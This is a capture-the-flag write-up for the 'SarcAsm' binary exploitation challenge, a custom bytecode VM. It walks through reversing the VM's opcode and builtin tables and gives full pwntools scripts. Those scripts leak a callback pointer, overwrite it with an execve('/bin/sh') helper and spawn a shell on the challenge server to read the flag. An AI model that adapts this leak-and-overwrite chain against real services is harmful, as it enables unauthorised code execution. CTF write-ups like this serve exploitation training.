Category: Binary Exploitation
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
Challenge Description
Unsarcastically, introducing the best asm in market: SarcAsm
Analysis
The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.
file "/home/LIGHT/sarcasm/handout/sarcasm"checksec "/home/LIGHT/sarcasm/handout/sarcasm"/home/LIGHT/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped[*] '/home/LIGHT/sarcasm/handout/sarcasm' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: EnabledThe key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.
from pathlib import Pathimport struct
p = Path('/home/LIGHT/sarcasm/handout/sarcasm').read_bytes()base_fo = 0x8A80ro_va = 0x7000
def read_cstr(va: int) -> str: out = [] idx = va - ro_va while idx < len(p) and p[idx] != 0: out.append(chr(p[idx])) idx += 1 return ''.join(out)
for i in range(0x19): rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18] name_ptr = struct.unpack_from('<Q', rec, 0)[0] opcode = struct.unpack_from('<I', rec, 8)[0] if i in (19, 20): print(i, hex(opcode), read_cstr(name_ptr))19 0x140 BUILTIN20 0x141 CALLThen I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.
objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/LIGHT/sarcasm/handout/sarcasm"Contents of section .data.rel.ro: 9a60 d0310000 00000000 01000000 00000000 .1............. 9a70 e02e0000 00000000 00000000 00000000 ................The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.
objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/LIGHT/sarcasm/handout/sarcasm"0000000000003000 <.text+0xc00>: 3000: ... 301b: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax,0x68732f6e69622f ... 303d: e8 ce f2 ff ff call 2310 <execve@plt>At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

from pwn import process, p32, p64, u64
code = bytes.fromhex( '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 ' '00 30 00 23 30 00 25 00 08 41 00 ff')
io = process([ '/home/LIGHT/sarcasm/handout/ld-linux-x86-64.so.2', '--library-path', '/home/LIGHT/sarcasm/handout', '/home/LIGHT/sarcasm/handout/sarcasm',])
io.send(p32(len(code)) + code)leak = io.recvn(8, timeout=2)ptr = u64(leak)base = ptr - 0x2EE0target = base + 0x3000
io.send(p64(target))io.sendline(b'echo LOCAL_OK')io.sendline(b'exit')out = io.recvall(timeout=2)
print('leak', hex(ptr))print(out.decode(errors='ignore'))leak 0x7f41d1a1cee0LOCAL_OKRemote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

import reimport time
from pwn import remote, p32, p64, u64
HOST = 'chall.ehax.in'PORT = 9999code = bytes.fromhex( '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 ' '00 30 00 23 30 00 25 00 08 41 00 ff')
for i in range(1, 21): try: io = remote(HOST, PORT, timeout=8) except Exception: continue
try: io.send(p32(len(code)) + code) leak = io.recvn(8, timeout=8) if len(leak) != 8: io.close() continue
ptr = u64(leak) base = ptr - 0x2EE0 target = base + 0x3000 io.send(p64(target))
io.sendline(b'echo START') io.sendline(b'cat flag.txt') io.sendline(b'cat /flag') io.sendline(b'cat /flag.txt') io.sendline(b'exit')
out = io.recvall(timeout=6).decode(errors='ignore') print(i, 'leaklen', len(leak), leak.hex()) print(out)
m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out) if m: print('FLAG', m.group(0)) break finally: try: io.close() except Exception: pass time.sleep(0.3)9 leaklen 8 e08edfd60b580000STARTEH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}Solution
import reimport time
from pwn import remote, p32, p64, u64
HOST = "chall.ehax.in"PORT = 9999
# VM program:# 1) create stale callable object and leak 8-byte builtin callback pointer# 2) overwrite callback with execve('/bin/sh') helper address# 3) CALL 0 to execute shell helperCODE = bytes.fromhex( "20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 " "00 30 00 23 30 00 25 00 08 41 00 ff")
def try_once() -> str | None: io = remote(HOST, PORT, timeout=8) io.send(p32(len(CODE)) + CODE)
leak = io.recvn(8, timeout=8) if len(leak) != 8: io.close() return None
leaked_ptr = u64(leak) pie_base = leaked_ptr - 0x2EE0 shell_helper = pie_base + 0x3000
io.send(p64(shell_helper)) io.sendline(b"echo START") io.sendline(b"cat flag.txt") io.sendline(b"cat /flag") io.sendline(b"cat /flag.txt") io.sendline(b"exit")
out = io.recvall(timeout=6).decode(errors="ignore") io.close()
m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out) return m.group(0) if m else None
def main() -> None: for _ in range(20): flag = try_once() if flag: print(flag) return time.sleep(0.3) raise RuntimeError("flag not recovered in retry window")
if __name__ == "__main__": main()python3.12 solve.pyEH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}